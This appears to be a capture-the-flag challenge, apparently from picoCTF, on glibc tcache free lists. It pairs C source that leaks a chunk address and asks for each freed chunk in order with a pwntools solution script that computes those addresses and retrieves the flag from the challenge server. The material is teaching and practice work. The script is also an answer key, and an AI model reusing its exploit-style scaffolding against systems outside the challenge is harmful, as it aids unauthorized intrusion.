Source
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <inttypes.h>
#define CHUNK_COUNT 6
#define CHUNK_SIZE 0x80
#define FLAG_FILE "flag.txt"
#define FLAG_OFFSET (sizeof(void *))
static int is_known_chunk(void *p, void *chunks[], int n) {
for (int i = 0; i < n; ++i) {
if (chunks[i] == p) return 1;
}
return 0;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
void *chunks[CHUNK_COUNT];
char flag_buf[256] = {0};
FILE *f = fopen(FLAG_FILE, "r");
if (!f) {
fprintf(stderr, "Could not open %s\n", FLAG_FILE);
return 1;
}
if (!fgets(flag_buf, sizeof(flag_buf), f)) {
fclose(f);
fprintf(stderr, "Could not read flag from %s\n", FLAG_FILE);
return 1;
}
fclose(f);
size_t flen = strlen(flag_buf);
if (flen && flag_buf[flen-1] == '\n') {
flag_buf[flen-1] = '\0';
flen--;
}
if (FLAG_OFFSET + flen >= CHUNK_SIZE) {
fprintf(stderr, "Flag too large for chunk. Increase CHUNK_SIZE or reduce flag length.\n");
return 1;
}
for (int i = 0; i < CHUNK_COUNT; ++i) {
chunks[i] = malloc(CHUNK_SIZE);
if (!chunks[i]) {
fprintf(stderr, "malloc failed at i=%d\n", i);
for (int j = 0; j < i; ++j) free(chunks[j]);
return 1;
}
memset(chunks[i], 0, CHUNK_SIZE);
}
memcpy((char*)chunks[CHUNK_COUNT-1] + FLAG_OFFSET, flag_buf, flen + 1);
void *head = chunks[0];
printf("tcache head (start of free list) -> %p\n", head);
for (int i = CHUNK_COUNT - 1; i >= 0; --i) {
free(chunks[i]);
}
void *expected = head;
for (int i = 0; i < CHUNK_COUNT; ++i) {
void *user_addr = NULL;
printf("Chunk %d address: ", i+1);
if (scanf("%p", &user_addr) != 1) {
fprintf(stderr, "Invalid input. Exiting.\n");
return 1;
}
if (user_addr != expected) {
fprintf(stderr, "Wrong address. Got %p. Exiting.\n", user_addr);
return 1;
}
void *next = NULL;
memcpy(&next, user_addr, sizeof(void *));
if (next != NULL && !is_known_chunk(next, chunks, CHUNK_COUNT)) {
fprintf(stderr, "Detected invalid next pointer value %p (not one of allocated chunks). Aborting to avoid crash.\n", next);
fprintf(stderr, "Dump of first 16 bytes at %p: ", user_addr);
unsigned char *b = user_addr;
for (size_t z = 0; z < 16; ++z) {
fprintf(stderr, "%02x ", b[z]);
}
fprintf(stderr, "\n");
return 1;
}
expected = next;
}
char *flag_loc = (char*)chunks[CHUNK_COUNT-1] + FLAG_OFFSET;
printf("Correct traversal! Flag: %s\n", flag_loc);
return 0;
}
Solution
#!/usr/bin/env python3
from pwn import *
from termcolor import colored
import time
from tqdm import tqdm
elf = ELF("./heapedit_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.27.so")
rop = ROP(elf)
context.aslr = False
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
contextwatch execute "bins"
"""
def find_offset():
r = process([elf.path])
r.sendline(cyclic(1024))
r.wait()
result = cyclic_find(r.corefile.pc)
r.close()
log.info(f"The offset th return address: " + str(result))
return result
def conn():
if args.REMOTE:
r = remote("candy-mountain.picoctf.net", 58146)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
r = conn()
sl = lambda a : r.sendline(a)
sla = lambda a,b : r.sendlineafter(a,b)
ru = lambda a : r.recvuntil(a)
rud = lambda a : r.recvuntil(a,drop=True)
ruds = lambda a : r.recvuntilS(a,drop=True)
def main():
ru(b'-> ')
leak = rud(b'\n').decode("ascii")
head = int(leak,16)
payload = []
for i in range(6):
addr = head + (i * 0x90)
p = hex(addr).encode("ascii")
payload.append(p)
for i in range(6):
num = str(i+1).encode("ascii")
sla(b'Chunk ' + num + b' address:', payload[i])
ru(b'Flag: ')
flag = ruds(b'\n')
print()
print(flag)
print()
if __name__ == "__main__":
main()